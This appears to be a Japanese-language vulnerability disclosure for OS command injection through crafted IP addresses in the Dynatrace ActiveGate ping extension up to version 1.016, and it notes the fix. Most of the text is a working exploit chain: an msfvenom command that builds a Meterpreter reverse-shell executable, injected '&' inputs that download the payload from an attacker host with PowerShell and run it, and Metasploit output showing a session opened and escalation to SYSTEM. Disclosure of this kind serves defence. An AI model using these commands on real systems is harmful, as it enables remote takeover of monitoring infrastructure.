
Dynatrace ActiveGate ping extension バージョン1.016以前における、細工されたIPアドレスを介したOSコマンドインジェクションの脆弱性
「Dynatrace ActiveGate pingエクステンション(バージョン1.016まで)における、細工されたIPアドレスを介したOSコマンドインジェクションの脆弱性」
内部的に、pingエクステンションはWindowsのコマンドプロンプトを使用してpingを実行しています。テスト対象ホストの入力フィールドは1024文字の長さです。IPアドレスの後に'&'を使用するだけで、ActiveGateに実行させる追加コマンドを記述できます。
この脆弱性はDynatraceに報告され、以下のコミットで修正されました: https://github.com/Dynatrace/dynatrace-api/pull/99
RCEエクスプロイトを使用してユーザーを追加する例:
ローカルユーザーリストの before/after:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.51.200 LPORT=4444 -f exe > mshell.exe
google&powershell.exe $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest http://192.168.51.200/mshell.exe -OutFile c:\test\mshell.exe
google&c:\test\mshell.exe
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.51.200:4444
[*] Sending stage (200262 bytes) to 192.168.51.54
[*] Meterpreter session 3 opened (192.168.51.200:4444 -> 192.168.51.54:49800 ) at 2023-01-21 19:02:16 +0100
meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-9493M3CRTDV
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows